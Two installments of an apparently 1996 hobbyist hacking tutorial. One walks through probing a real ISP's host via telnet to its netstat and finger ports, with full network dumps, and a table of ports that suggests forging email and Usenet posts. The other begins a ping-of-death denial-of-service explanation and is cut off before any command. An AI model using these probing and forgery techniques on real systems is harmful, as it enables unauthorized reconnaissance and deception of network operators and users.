So how do you find a big kahuna computer on the Internet? We started with a domain which consisted of a LAN of PCs running Linux that I happened to already know about, that is used by the New Mexico Internet Access ISP: nmia.com.
*****************************
Newbie Note # 3: A domain is an Internet address. You can use it to look up who runs the computers used by the domain, and also to look up how that domain is connected to the rest of the Internet.
*****************************
So to do this we first logged into my shell account with Southwest Cyberport. I gave the command:
[66] ->whois nmia.com
New Mexico Internet Access (NMIA-DOM)
2201 Buena Vista SE
Albuquerque, NM 87106
Domain Name: NMIA.COM
Administrative Contact, Technical Contact, Zone Contact:
Orrell, Stan (SO11) SAO@NMIA.COM
(505) 877-0617
Record last updated on 11-Mar-94.
Record created on 11-Mar-94.
Domain servers in listed order:
NS.NMIA.COM 198.59.166.10
GRANDE.NM.ORG 129.121.1.2
Now it’s a good bet that grande.nm.org is serving a lot of other Internet hosts beside nmia.com. Here’s how we port surf our way to find this out:
[67] ->telnet grande.nm.org 15
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
TGV MultiNet V3.5 Rev B, VAX 4000-400, OpenVMS VAX V6.1
Product License Authorization Expiration Date
---------- ------- ------------- ---------------
MULTINET Yes A-137-1641 (none)
NFS-CLIENT Yes A-137-113237 (none)
*** Configuration for file "MULTINET:NETWORK_DEVICES.CONFIGURATION" ***
Device Adapter CSR Address Flags/Vector
------ ------- ----------- ------------
se0 (Shared VMS Ethernet/FDDI) -NONE- -NONE- -NONE-
MultiNet Active Connections, including servers:
Proto Rcv-Q Snd-Q Local Address (Port) Foreign Address (Port) State
----- ----- ----- ------------------ ------------------ -----
TCP 0 822 GRANDE.NM.ORG(NETSTAT) 198.59.115.24(1569) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(POP3) 164.64.201.67(1256) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(4918) 129.121.254.5(TELNET) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(TELNET) AVATAR.NM.ORG(3141) ESTABLISHED
TCP 0 0 *(NAMESERVICE) *(*) LISTEN
TCP 0 0 *(TELNET) *(*) LISTEN
TCP 0 0 *(FTP) *(*) LISTEN
TCP 0 0 *(FINGER) *(*) LISTEN
TCP 0 0 *(NETSTAT) *(*) LISTEN
TCP 0 0 *(SMTP) *(*) LISTEN
TCP 0 0 *(LOGIN) *(*) LISTEN
TCP 0 0 *(SHELL) *(*) LISTEN
TCP 0 0 *(EXEC) *(*) LISTEN
TCP 0 0 *(RPC) *(*) LISTEN
TCP 0 0 *(NETCONTROL) *(*) LISTEN
TCP 0 0 *(SYSTAT) *(*) LISTEN
TCP 0 0 *(CHARGEN) *(*) LISTEN
TCP 0 0 *(DAYTIME) *(*) LISTEN
TCP 0 0 *(TIME) *(*) LISTEN
TCP 0 0 *(ECHO) *(*) LISTEN
TCP 0 0 *(DISCARD) *(*) LISTEN
TCP 0 0 *(PRINTER) *(*) LISTEN
TCP 0 0 *(POP2) *(*) LISTEN
TCP 0 0 *(POP3) *(*) LISTEN
TCP 0 0 *(KERBEROS_MASTER) *(*) LISTEN
TCP 0 0 *(KLOGIN) *(*) LISTEN
TCP 0 0 *(KSHELL) *(*) LISTEN
TCP 0 0 GRANDE.NM.ORG(4174) OSO.NM.ORG(X11) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(4172) OSO.NM.ORG(X11) ESTABLISHED
TCP 0 0 GRANDE.NM.ORG(4171) OSO.NM.ORG(X11) ESTABLISHED
TCP 0 0 *(FS) *(*) LISTEN
UDP 0 0 *(NAMESERVICE) *(*)
UDP 0 0 127.0.0.1(NAMESERVICE) *(*)
UDP 0 0 GRANDE.NM.OR(NAMESERV) *(*)
UDP 0 0 *(TFTP) *(*)
UDP 0 0 *(BOOTPS) *(*)
UDP 0 0 *(KERBEROS) *(*)
UDP 0 0 127.0.0.1(KERBEROS) *(*)
UDP 0 0 GRANDE.NM.OR(KERBEROS) *(*)
UDP 0 0 *(*) *(*)
UDP 0 0 *(SNMP) *(*)
UDP 0 0 *(RPC) *(*)
UDP 0 0 *(DAYTIME) *(*)
UDP 0 0 *(ECHO) *(*)
UDP 0 0 *(DISCARD) *(*)
UDP 0 0 *(TIME) *(*)
UDP 0 0 *(CHARGEN) *(*)
UDP 0 0 *(TALK) *(*)
UDP 0 0 *(NTALK) *(*)
UDP 0 0 *(1023) *(*)
UDP 0 0 *(XDMCP) *(*)
MultiNet registered RPC programs:
Program Version Protocol Port
------- ------- -------- ----
PORTMAP 2 TCP 111
PORTMAP 2 UDP 111
MultiNet IP Routing tables:
Destination Gateway Flags Refcnt Use Interface MTU
---------- ---------- ----- ------ ----- --------- ----
198.59.167.1 LAWRII.NM.ORG Up,Gateway,H 0 2 se0 1500
166.45.0.1 ENSS365.NM.ORG Up,Gateway,H 0 4162 se0 1500
205.138.138.1 ENSS365.NM.ORG Up,Gateway,H 0 71 se0 1500
204.127.160.1 ENSS365.NM.ORG Up,Gateway,H 0 298 se0 1500
127.0.0.1 127.0.0.1 Up,Host 5 1183513 lo0 4136
198.59.167.2 LAWRII.NM.ORG Up,Gateway,H 0 640 se0 1500
192.132.89.2 ENSS365.NM.ORG Up,Gateway,H 0 729 se0 1500
207.77.56.2 ENSS365.NM.ORG Up,Gateway,H 0 5 se0 1500
204.97.213.2 ENSS365.NM.ORG Up,Gateway,H 0 2641 se0 1500
194.90.74.66 ENSS365.NM.ORG Up,Gateway,H 0 1 se0 1500
204.252.102.2 ENSS365.NM.ORG Up,Gateway,H 0 109 se0 1500
205.160.243.2 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500
202.213.4.2 ENSS365.NM.ORG Up,Gateway,H 0 4 se0 1500
202.216.224.66 ENSS365.NM.ORG Up,Gateway,H 0 113 se0 1500
192.132.89.3 ENSS365.NM.ORG Up,Gateway,H 0 1100 se0 1500
198.203.196.67 ENSS365.NM.ORG Up,Gateway,H 0 385 se0 1500
160.205.13.3 ENSS365.NM.ORG Up,Gateway,H 0 78 se0 1500
202.247.107.131 ENSS365.NM.ORG Up,Gateway,H 0 19 se0 1500
198.59.167.4 LAWRII.NM.ORG Up,Gateway,H 0 82 se0 1500
128.148.157.6 ENSS365.NM.ORG Up,Gateway,H 0 198 se0 1500
160.45.10.6 ENSS365.NM.ORG Up,Gateway,H 0 3 se0 1500
128.121.50.7 ENSS365.NM.ORG Up,Gateway,H 0 3052 se0 1500
206.170.113.8 ENSS365.NM.ORG Up,Gateway,H 0 1451 se0 1500
128.148.128.9 ENSS365.NM.ORG Up,Gateway,H 0 1122 se0 1500
203.7.132.9 ENSS365.NM.ORG Up,Gateway,H 0 14 se0 1500
204.216.57.10 ENSS365.NM.ORG Up,Gateway,H 0 180 se0 1500
130.74.1.75 ENSS365.NM.ORG Up,Gateway,H 0 10117 se0 1500
206.68.65.15 ENSS365.NM.ORG Up,Gateway,H 0 249 se0 1500
129.219.13.81 ENSS365.NM.ORG Up,Gateway,H 0 547 se0 1500
204.255.246.18 ENSS365.NM.ORG Up,Gateway,H 0 1125 se0 1500
160.45.24.21 ENSS365.NM.ORG Up,Gateway,H 0 97 se0 1500
206.28.168.21 ENSS365.NM.ORG Up,Gateway,H 0 2093 se0 1500
163.179.3.222 ENSS365.NM.ORG Up,Gateway,H 0 315 se0 1500
198.109.130.33 ENSS365.NM.ORG Up,Gateway,H 0 1825 se0 1500
199.224.108.33 ENSS365.NM.ORG Up,Gateway,H 0 11362 se0 1500
203.7.132.98 ENSS365.NM.ORG Up,Gateway,H 0 73 se0 1500
198.111.253.35 ENSS365.NM.ORG Up,Gateway,H 0 1134 se0 1500
206.149.24.100 ENSS365.NM.ORG Up,Gateway,H 0 3397 se0 1500
165.212.105.106 ENSS365.NM.ORG Up,Gateway,H 0 17 se0 1006
205.238.3.241 ENSS365.NM.ORG Up,Gateway,H 0 69 se0 1500
198.49.44.242 ENSS365.NM.ORG Up,Gateway,H 0 25 se0 1500
194.22.188.242 ENSS365.NM.ORG Up,Gateway,H 0 20 se0 1500
164.64.0 LAWRII.NM.ORG Up,Gateway 1 40377 se0 1500
0.0.0 ENSS365.NM.ORG Up,Gateway 2 4728741 se0 1500
207.66.1 GLORY.NM.ORG Up,Gateway 0 51 se0 1500
205.166.1 GLORY.NM.ORG Up,Gateway 0 1978 se0 1500
204.134.1 LAWRII.NM.ORG Up,Gateway 0 54 se0 1500
204.134.2 GLORY.NM.ORG Up,Gateway 0 138 se0 1500
192.132.2 129.121.248.1 Up,Gateway 0 6345 se0 1500
204.134.67 GLORY.NM.ORG Up,Gateway 0 2022 se0 1500
206.206.67 GLORY.NM.ORG Up,Gateway 0 7778 se0 1500
206.206.68 LAWRII.NM.ORG Up,Gateway 0 3185 se0 1500
207.66.5 GLORY.NM.ORG Up,Gateway 0 626 se0 1500
204.134.69 GLORY.NM.ORG Up,Gateway 0 7990 se0 1500
207.66.6 GLORY.NM.ORG Up,Gateway 0 53 se0 1500
204.134.70 LAWRII.NM.ORG Up,Gateway 0 18011 se0 1500
192.188.135 GLORY.NM.ORG Up,Gateway 0 5 se0 1500
206.206.71 LAWRII.NM.ORG Up,Gateway 0 2 se0 1500
204.134.7 GLORY.NM.ORG Up,Gateway 0 38 se0 1500
199.89.135 GLORY.NM.ORG Up,Gateway 0 99 se0 1500
198.59.136 LAWRII.NM.ORG Up,Gateway 0 1293 se0 1500
204.134.9 GLORY.NM.ORG Up,Gateway 0 21 se0 1500
204.134.73 GLORY.NM.ORG Up,Gateway 0 59794 se0 1500
129.138.0 GLORY.NM.ORG Up,Gateway 0 5262 se0 1500
192.92.10 LAWRII.NM.ORG Up,Gateway 0 163 se0 1500
206.206.75 LAWRII.NM.ORG Up,Gateway 0 604 se0 1500
207.66.13 GLORY.NM.ORG Up,Gateway 0 1184 se0 1500
204.134.77 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500
207.66.14 GLORY.NM.ORG Up,Gateway 0 334 se0 1500
204.134.78 GLORY.NM.ORG Up,Gateway 0 239 se0 1500
204.52.207 GLORY.NM.ORG Up,Gateway 0 293 se0 1500
204.134.79 GLORY.NM.ORG Up,Gateway 0 1294 se0 1500
192.160.144 LAWRII.NM.ORG Up,Gateway 0 117 se0 1500
206.206.80 PENNY.NM.ORG Up,Gateway 0 4663 se0 1500
204.134.80 GLORY.NM.ORG Up,Gateway 0 91 se0 1500
198.99.209 LAWRII.NM.ORG Up,Gateway 0 1136 se0 1500
207.66.17 GLORY.NM.ORG Up,Gateway 0 24173 se0 1500
204.134.82 GLORY.NM.ORG Up,Gateway 0 29766 se0 1500
192.41.211 GLORY.NM.ORG Up,Gateway 0 155 se0 1500
192.189.147 LAWRII.NM.ORG Up,Gateway 0 3133 se0 1500
204.134.84 PENNY.NM.ORG Up,Gateway 0 189 se0 1500
204.134.87 LAWRII.NM.ORG Up,Gateway 0 94 se0 1500
146.88.0 GLORY.NM.ORG Up,Gateway 0 140 se0 1500
192.84.24 GLORY.NM.ORG Up,Gateway 0 3530 se0 1500
204.134.88 LAWRII.NM.ORG Up,Gateway 0 136 se0 1500
198.49.217 GLORY.NM.ORG Up,Gateway 0 303 se0 1500
192.132.89 GLORY.NM.ORG Up,Gateway 0 3513 se0 1500
198.176.219 GLORY.NM.ORG Up,Gateway 0 1278 se0 1500
206.206.92 LAWRII.NM.ORG Up,Gateway 0 1228 se0 1500
192.234.220 129.121.1.91 Up,Gateway 0 2337 se0 1500
204.134.92 LAWRII.NM.ORG Up,Gateway 0 13995 se0 1500
198.59.157 LAWRII.NM.ORG Up,Gateway 0 508 se0 1500
206.206.93 GLORY.NM.ORG Up,Gateway 0 635 se0 1500
204.134.93 GLORY.NM.ORG Up,Gateway 0 907 se0 1500
198.59.158 LAWRII.NM.ORG Up,Gateway 0 14214 se0 1500
198.59.159 LAWRII.NM.ORG Up,Gateway 0 1806 se0 1500
204.134.95 PENNY.NM.ORG Up,Gateway 0 3644 se0 1500
206.206.96 GLORY.NM.ORG Up,Gateway 0 990 se0 1500
206.206.161 LAWRII.NM.ORG Up,Gateway 0 528 se0 1500
198.59.97 PENNY.NM.ORG Up,Gateway 0 55 se0 1500
198.59.161 LAWRII.NM.ORG Up,Gateway 0 497 se0 1500
192.207.226 GLORY.NM.ORG Up,Gateway 0 93217 se0 1500
198.59.99 PENNY.NM.ORG Up,Gateway 0 2 se0 1500
198.59.163 GLORY.NM.ORG Up,Gateway 0 3379 se0 1500
192.133.100 LAWRII.NM.ORG Up,Gateway 0 3649 se0 1500
204.134.100 GLORY.NM.ORG Up,Gateway 0 8 se0 1500
128.165.0 PENNY.NM.ORG Up,Gateway 0 15851 se0 1500
198.59.165 GLORY.NM.ORG Up,Gateway 0 274 se0 1500
206.206.165 LAWRII.NM.ORG Up,Gateway 0 167 se0 1500
206.206.102 GLORY.NM.ORG Up,Gateway 0 5316 se0 1500
160.230.0 LAWRII.NM.ORG Up,Gateway 0 19408 se0 1500
206.206.166 LAWRII.NM.ORG Up,Gateway 0 1756 se0 1500
205.166.231 GLORY.NM.ORG Up,Gateway 0 324 se0 1500
198.59.167 GLORY.NM.ORG Up,Gateway 0 1568 se0 1500
206.206.103 GLORY.NM.ORG Up,Gateway 0 3629 se0 1500
198.59.168 GLORY.NM.ORG Up,Gateway 0 9063 se0 1500
206.206.104 GLORY.NM.ORG Up,Gateway 0 7333 se0 1500
206.206.168 GLORY.NM.ORG Up,Gateway 0 234 se0 1500
204.134.105 LAWRII.NM.ORG Up,Gateway 0 4826 se0 1500
206.206.105 LAWRII.NM.ORG Up,Gateway 0 422 se0 1500
204.134.41 LAWRII.NM.ORG Up,Gateway 0 41782 se0 1500
206.206.169 GLORY.NM.ORG Up,Gateway 0 5101 se0 1500
204.134.42 GLORY.NM.ORG Up,Gateway 0 10761 se0 1500
206.206.170 GLORY.NM.ORG Up,Gateway 0 916 se0 1500
198.49.44 GLORY.NM.ORG Up,Gateway 0 3 se0 1500
198.59.108 GLORY.NM.ORG Up,Gateway 0 2129 se0 1500
204.29.236 GLORY.NM.ORG Up,Gateway 0 125 se0 1500
206.206.172 GLORY.NM.ORG Up,Gateway 0 5839 se0 1500
204.134.108 GLORY.NM.ORG Up,Gateway 0 3216 se0 1500
206.206.173 GLORY.NM.ORG Up,Gateway 0 374 se0 1500
198.175.173 LAWRII.NM.ORG Up,Gateway 0 6227 se0 1500
198.59.110 GLORY.NM.ORG Up,Gateway 0 1797 se0 1500
198.51.238 GLORY.NM.ORG Up,Gateway 0 1356 se0 1500
192.136.110 GLORY.NM.ORG Up,Gateway 0 583 se0 1500
204.134.48 GLORY.NM.ORG Up,Gateway 0 42 se0 1500
198.175.176 LAWRII.NM.ORG Up,Gateway 0 32 se0 1500
206.206.114 LAWRII.NM.ORG Up,Gateway 0 44 se0 1500
206.206.179 LAWRII.NM.ORG Up,Gateway 0 14 se0 1500
198.59.179 PENNY.NM.ORG Up,Gateway 0 222 se0 1500
198.59.115 GLORY.NM.ORG Up,Gateway 1 132886 se0 1500
206.206.181 GLORY.NM.ORG Up,Gateway 0 1354 se0 1500
206.206.182 SIENNA.NM.ORG Up,Gateway 0 16 se0 1500
206.206.118 GLORY.NM.ORG Up,Gateway 0 3423 se0 1500
206.206.119 GLORY.NM.ORG Up,Gateway 0 282 se0 1500
206.206.183 SIENNA.NM.ORG Up,Gateway 0 2473 se0 1500
143.120.0 LAWRII.NM.ORG Up,Gateway 0 123533 se0 1500
206.206.184 GLORY.NM.ORG Up,Gateway 0 1114 se0 1500
205.167.120 GLORY.NM.ORG Up,Gateway 0 4202 se0 1500
206.206.121 GLORY.NM.ORG Up,Gateway 1 71 se0 1500
129.121.0 GRANDE.NM.ORG Up 12 21658599 se0 1500
204.134.122 GLORY.NM.ORG Up,Gateway 0 195 se0 1500
204.134.58 GLORY.NM.ORG Up,Gateway 0 7707 se0 1500
128.123.0 GLORY.NM.ORG Up,Gateway 0 34416 se0 1500
204.134.59 GLORY.NM.ORG Up,Gateway 0 1007 se0 1500
204.134.124 GLORY.NM.ORG Up,Gateway 0 37160 se0 1500
206.206.124 LAWRII.NM.ORG Up,Gateway 0 79 se0 1500
206.206.125 PENNY.NM.ORG Up,Gateway 0 233359 se0 1500
204.134.126 GLORY.NM.ORG Up,Gateway 0 497 se0 1500
206.206.126 LAWRII.NM.ORG Up,Gateway 0 13644 se0 1500
204.69.190 GLORY.NM.ORG Up,Gateway 0 4059 se0 1500
206.206.190 GLORY.NM.ORG Up,Gateway 0 1630 se0 1500
204.134.127 GLORY.NM.ORG Up,Gateway 0 45621 se0 1500
206.206.191 GLORY.NM.ORG Up,Gateway 0 3574 se0 1500
MultiNet IPX Routing tables:
Destination Gateway Flags Refcnt Use Interface MTU
---------- ---------- ----- ------ ----- --------- ----
MultiNet ARP table:
Host Network Address Ethernet Address Arp Flags
-------------------------------------------- ---------------- ---------
GLORY.NM.ORG (IP 129.121.1.4) AA:00:04:00:61:D0 Temporary
[UNKNOWN] (IP 129.121.251.1) 00:C0:05:01:2C:D2 Temporary
NARANJO.NM.ORG (IP 129.121.1.56) 08:00:87:04:9F:42 Temporary
CHAMA.NM.ORG (IP 129.121.1.8) AA:00:04:00:0C:D0 Temporary
[UNKNOWN] (IP 129.121.251.5) AA:00:04:00:D2:D0 Temporary
LAWRII.NM.ORG (IP 129.121.254.10) AA:00:04:00:5C:D0 Temporary
[UNKNOWN] (IP 129.121.1.91) 00:C0:05:01:2C:D2 Temporary
BRAVO.NM.ORG (IP 129.121.1.6) AA:00:04:00:0B:D0 Temporary
PENNY.NM.ORG (IP 129.121.1.10) AA:00:04:00:5F:D0 Temporary
ARRIBA.NM.ORG (IP 129.121.1.14) 08:00:2B:BC:C1:A7 Temporary
AZUL.NM.ORG (IP 129.121.1.51) 08:00:87:00:A1:D3 Temporary
ENSS365.NM.ORG (IP 129.121.1.3) 00:00:0C:51:EF:58 Temporary
AVATAR.NM.ORG (IP 129.121.254.1) 08:00:5A:1D:52:0D Temporary
[UNKNOWN] (IP 129.121.253.2) 08:00:5A:47:4A:1D Temporary
[UNKNOWN] (IP 129.121.254.5) 00:C0:7B:5F:5F:80 Temporary
CONCHAS.NM.ORG (IP 129.121.1.11) 08:00:5A:47:4A:1D Temporary
[UNKNOWN] (IP 129.121.253.10) AA:00:04:00:4B:D0 Temporary
MultiNet Network Interface statistics:
Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Collis
---- --- ------- -------------- ----- ----- ----- ----- ------
se0 1500 129.121.0 GRANDE.NM.ORG 68422948 0 53492833 1 0
lo0 4136 127.0.0 127.0.0.1 1188191 0 1188191 0 0
MultiNet Protocol statistics:
65264173 IP packets received
22 IP packets smaller than minimum size
6928 IP fragments received
4 IP fragments timed out
34 IP received for unreachable destinations
704140 ICMP error packets generated
9667 ICMP opcodes out of range
4170 Bad ICMP packet checksums
734363 ICMP responses
734363 ICMP "Echo" packets received
734363 ICMP "Echo Reply" packets sent
18339 ICMP "Echo Reply" packets received
704140 ICMP "Destination Unreachable" packets sent
451243 ICMP "Destination Unreachable" packets received
1488 ICMP "Source Quench" packets received
163911 ICMP "ReDirect" packets received
189732 ICMP "Time Exceeded" packets received
126966 TCP connections initiated
233998 TCP connections established
132611 TCP connections accepted
67972 TCP connections dropped
28182 embryonic TCP connections dropped
269399 TCP connections closed
10711838 TCP segments timed for RTT
10505140 TCP segments updated RTT
3927264 TCP delayed ACKs sent
666 TCP connections dropped due to retransmit timeouts
111040 TCP retransmit timeouts
3136 TCP persist timeouts
9 TCP persist connection drops
16850 TCP keepalive timeouts
1195 TCP keepalive probes sent
14392 TCP connections dropped due to keepalive timeouts
28842663 TCP packets sent
12714484 TCP data packets sent
1206060086 TCP data bytes sent
58321 TCP data packets retransmitted
22144036 TCP data bytes retransmitted
6802199 TCP ACK-only packets sent
1502 TCP window probes sent
483 TCP URG-only packets sent
8906175 TCP Window-Update-only packets sent
359509 TCP control packets sent
38675084 TCP packets received
28399363 TCP packets received in sequence
1929418386 TCP bytes received in sequence
25207 TCP packets with checksum errors
273374 TCP packets were duplicates
230525708 TCP bytes were duplicates
3748 TCP packets had some duplicate bytes
493214 TCP bytes were partial duplicates
2317156 TCP packets were out of order
3151204672 TCP bytes were out of order
1915 TCP packets had data after window
865443 TCP bytes were after window
5804 TCP packets for already closed connection
941 TCP packets were window probes
10847459 TCP packets had ACKs
222657 TCP packets had duplicate ACKs
1 TCP packet ACKed unsent data
1200274739 TCP bytes ACKed
141545 TCP packets had window updates
13 TCP segments dropped due to PAWS
4658158 TCP segments were predicted pure-ACKs
24033756 TCP segments were predicted pure-data
8087980 TCP PCB cache misses
305 Bad UDP header checksums
17 Bad UDP data length fields
23772272 UDP PCB cache misses
MultiNet Buffer Statistics:
388 out of 608 buffers in use:
30 buffers allocated to Data.
10 buffers allocated to Packet Headers.
66 buffers allocated to Socket Structures.
57 buffers allocated to Protocol Control Blocks.
163 buffers allocated to Routing Table Entries.
2 buffers allocated to Socket Names and Addresses.
48 buffers allocated to Kernel Fork-Processes.
2 buffers allocated to Interface Addresses.
1 buffer allocated to Multicast Addresses.
1 buffer allocated to Timeout Callbacks.
6 buffers allocated to Memory Management.
2 buffers allocated to Network TTY Control Blocks.
11 out of 43 page clusters in use.
11 CXBs borrowed from VMS device drivers
2 CXBs waiting to return to the VMS device drivers
162 Kbytes allocated to MultiNet buffers (44% in use).
226 Kbytes of allocated buffer address space (0% of maximum).
Connection closed by foreign host.
[68] ->
Whoa! What was all that?
What we did was telnet to port 15 -- the netstat port-- which on some computers runs a daemon that tells anybody who cares to drop in just about everything about the connection made by all the computers linked to the Internet through this computer.
So from this we learned two things:
1) Grande.nm.org is a very busy and important computer.
2) Even a very busy and important computer can let the random port surfer come and play.
So my lady friend wanted to try out another port. I suggested the finger port, number 79. So she gave the command:
[68] ->telnet grande.nm.org 79
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
finger
?Sorry, could not find "FINGER"
Connection closed by foreign host.
[69] ->telnet grande.nm.org 79
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
help
?Sorry, could not find "HELP"
Connection closed by foreign host.
[69] ->telnet grande.nm.org 79
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
?
?Sorry, could not find "?"
Connection closed by foreign host.
[69] ->telnet grande.nm.org 79
Trying 129.121.1.2 ...
Connected to grande.nm.org.
Escape character is '^]'.
man
?Sorry, could not find "MAN"
Connection closed by foreign host.
[69] ->
At first this looks like just a bunch of failed commands. But actually this is pretty fascinating. The reason is that port 79 is, under IETF rules, supposed to run fingerd, the finger daemon. So when she gave the command “finger” and grande.nm.org said ?Sorry, could not find "FINGER,” we knew this port was not following IETF rules.
Now on may computers they don’t run the finger daemon at all. This is because finger has so properties that can be used to gain total control of the computer that runs it.
But if finger is shut down, and nothing else is running on port 79, we woudl get the answer:
telnet: connect: Connection refused.
But instead we got connected and grande.nm.org was waiting for a command.
Now the normal thing a port surfer does when running an unfmiliar daemon is to coax it into revealing what commands it uses. “Help,” “?” and “man” often work. But it didn’t help us.
But even though these commands didn’t help us, they did tell us that the daemon is probably something sensitive. If it were a daemon that was meant for anybody and his brother to use, it would have given us instructions.
So what did we do next? We decided to be good Internet citizens and also stay out of jail We decided we’d beter log off.
But there was one hack we decided to do first: leave our mark on the shell log file.
The shell log file keeps a record of all operating system commands made on a computer. The adminsitrator of an obviously important computer such as grande.nm.org is probably competent enough to scan the records of what commands are given by whom to his computer. Especially on a port important enough to be running a mystery, non-IETF daemon. So everything we types while connected was saved on a log.
So my friend giggled with glee and left a few messages on port 79 before logging off. Oh, dear, I do believe she’s hooked on hacking. Hmmm, it could be a good way to meet cute sysadmins...
So, port surf’s up! If you want to surf, here’s the basics:
1) Get logged on to a shell account. That’s an account with your ISP that lets you give Unix commands. Or -- run Linux or some other kind of Unix on your PC and hook up to the Internet.
2) Give the command “telnet “ where is the internet address of the computer you wnat to visit and is whatever looks phun to you.
3) If you get the response “connected to ,” then surf’s up!
Following are some of my favorite ports. It is legal and harmless to pay them visits so long as you don’t figure out how to gain superuser status while playing with them. However, please note that if you do too much port surfing from your shell account, your sysadmin may notice this in his or her shell log file. If he or she is prejudiced against hacking , you may get kicked off your ISP. So you may want to explain in advance that you are merely a harmless hacker looking to have a good time, er, um, learn about Unix. Yeh, that sounds good...
Port number Service Why it’s phun!
7 echo Whatever you type in, the host repeats back to you, used for ping
9 discard Dev/null -- how fast can you figure out this one?
11 systat Lots of info on users
13 daytime Time and date at computer’s location
15 netstat Tremendous info on networks but rarely used any more
19 chargen Pours out a stream of ASCII characters. Use ^C to stop.
21 ftp Transfers files
22 ssh secure shell login -- encrypted tunnel
23 telnet Where you log in if you don’t use ssh:)
25 smpt Forge email from Bill.Gates@Microsoft.org.
37 time Time
39 rlp Resource location
43 whois Info on hosts and networks
53 domain Nameserver
70 gopher Out-of-date info hunter
79 finger Lots of info on users
80 http Web server
110 pop Incoming email
119 nntp Usenet news groups -- forge posts, cancels
443 shttp Another web server
512 biff Mail notification
513 rlogin Remote login
who Remote who and uptime
514 shell Remote command, no password used!
syslog Remote system logging -- how we bust hackers
520 route Routing information protocol
**************************
Propeller head tip: Note that in most cases an Internet host will use these port number assignments for these services. More than one service may also be assigned simultaneously to the same port. This numbering system is voluntarily offered by the Internet Engineering Task Force (IETF). That means that an Internet host may use other ports for these services. Expect the unexpected!
If you have a copy of Linux, you can get the list of all the IETF assignments of port numbers in the file /etc/services.
********************************
_________________________________________________________
To subscribe to the Happy Hacker list, email hacker@techbroker.com with messge “subscribe hh.” Send me confidential email (please, no discussions of illegal activities) use cmeinel@techbroker.com. Please direct flames to dev/null@techbroker.com. Happy hacking!
Copyright 1996 Carolyn P. Meinel. You may forward the GUIDE TO (mostly) HARMLESS HACKING as long as you leave this notice at the end..
________________________________________________________

hacking harmless chapter 3

2009-05-27T13:54:00.000-07:00

GUIDE TO (mostly) HARMLESS HACKING
Vol. 2 Number 3
Introduction to TCP/IP. That means packets! Datagrams! Ping oversize packet denial of service exploit explained. But this hack is a lot less mostly harmless than most. Don't try this at home...
____________________________________________________________
If you have been on the Happy Hacker list for awhile, you've been getting some items forwarded from the Bugtraq list on a new ping packet exploit.
Now if this has been sounding like gibberish to you, relax. It is really very simple. In fact, it is so simple that if you use Windows 95, by the time you finish this article you will know a simple, one-line command that you could use to crash many Internet hosts and routers.
*************************************************
YOU CAN GO TO JAIL WARNING: This time I'm not going to implore the wannabe evil genius types on this list to be virtuous and resist the temptation to misuse the information I'm about to give them. See if I care! If one of those guys gets caught crashing thousands of Internet hosts and routers, not only will they go to jail and get a big fine. We'll all think he or she is a dork. This exploit is a no-brainer, one-line command from Windows 95. Yeah, the operating system that is designed for clueless morons. So there is nothing elite about this hack. What is elite is being able to thwart this attack.
**************************************************
**************************************************
NEWBIE NOTE: If packets, datagrams, and TCP/IP aren't exactly your bosom buddies yet, believe me, you need to really get in bed with them in order to call yourself a hacker. So hang in here for some technical stuff. When
we are done, you'll have the satisfaction of knowing you could wreak havoc on the Internet, but are too elite to do so.
A packet is a way to send information electronically that keeps out errors. The idea is that no transmission technology is perfect. Have you ever played the game "telephone"? You get a dozen or so people in a circle and the first person whispers a message to the second. Something like "The bun is the lowest form of wheat." The second person whispers to the third, "A bum is the lowest form of cheating." The third whispers, "Rum is the lowest form of
drinking." And so on. It's really fun to find out how far the message can mutate as it goes around the circle.
But when, for example, you get email, you would prefer that it isn't messed up. So the computer that sends the email breaks it up into little pieces called datagrams. Then it wraps things around each datagram that tell what
computer it needs to go to, where it came from, and that check whether the datagram might have been garbled. These wrapped up datagram packages are called "packets."
Now if the computer sending email to you were to package a really long message into just one packet, chances are pretty high that it will get messed up while on its way to the other computer. Bit burps. So when the receiving computer checks the packet and finds that it got messed up, it
will throw it away and tell the other computer to send it again. It could take a long time until this giant packet gets through intact.
But if the message is broken into a lot of little pieces and wrapped up into bunches of packets, most of them will be good and the receiving computer will keep them. It will then tell the sending computer to retransmit just the packets that messed up. Then when all the pieces finally get there, the receiving computer puts them together in the right order and lo and behold, there is the complete, error-free email.
TCP/IP stands for Transmission Control Protocol/Internet Protocol. It tells computers that are hooked up to the Internet how to package up messages into packets and how to read packets these packets from other computers. Ping uses TCP/IP to make its packets.
**********************************************
"Ping" is a command that sends a feeler out from your computer to another computer to see if it is turned on and hooked to the same network you are on. On the Internet there are some ten million computers that you can ping.
Ping is a command you can give, for example, from the Unix, Windows 95 and Windows NT operating systems. It is part of the Internet Control Message Protocol (ICMP), which is used to troubleshoot TCP/IP networks. What it does is tell a remote computer to echo back a ping. So if you get your ping
back, you know that computer is alive. Furthermore, some forms of the ping command will also tell you how long it takes for a message to go out to that computer and come back again.
But how does your computer know that the ping it just sent out actually echoed back from the targeted computer? The datagram is the answer. The ping sent out a datagram. If the returning ping holds this same datagram, you know it was your ping that just echoed back.
The basic format of this command is simply:
ping hostname
where "hostname" is the Internet address of the computer you want to check out.
When I give this command from Sun Release 4.1 Unix, I get the answer "hostname is alive."
**************************************
TECHNICAL TIP: Because of the destructive powers of ping, many Internet Service Providers hide the ping program in their shell accounts where clueless newbies can't get their hands on it. If your shell account says "command not found" when you enter the ping command, try:
/usr/etc/ping hostname
If this doesn't work, either try the command “whereis ping” or complain to your ISP's tech support. They may have ddiabled ping for ordinary users, but if you convince tech support you are a good Internet citizen they may let you use it.
***************************************
****************************************
NEWBIE NOTE: You say you can't find a way to ping from your on-line service? That may be because you don't have a shell account. But there is one thing you really need in order to hack: A SHELL ACCOUNT!!!!
The reason hackers make fun of people with America Online accounts is because that ISP doesn't give out shell accounts. This is because America Online wants you to be good boys and girls and not hack!
A "shell account" is an Internet account in which your computer becomes a terminal of one of your ISP's host computers. Once you are in the "shell" you can give commands to the operating system (which is usually Unix) just
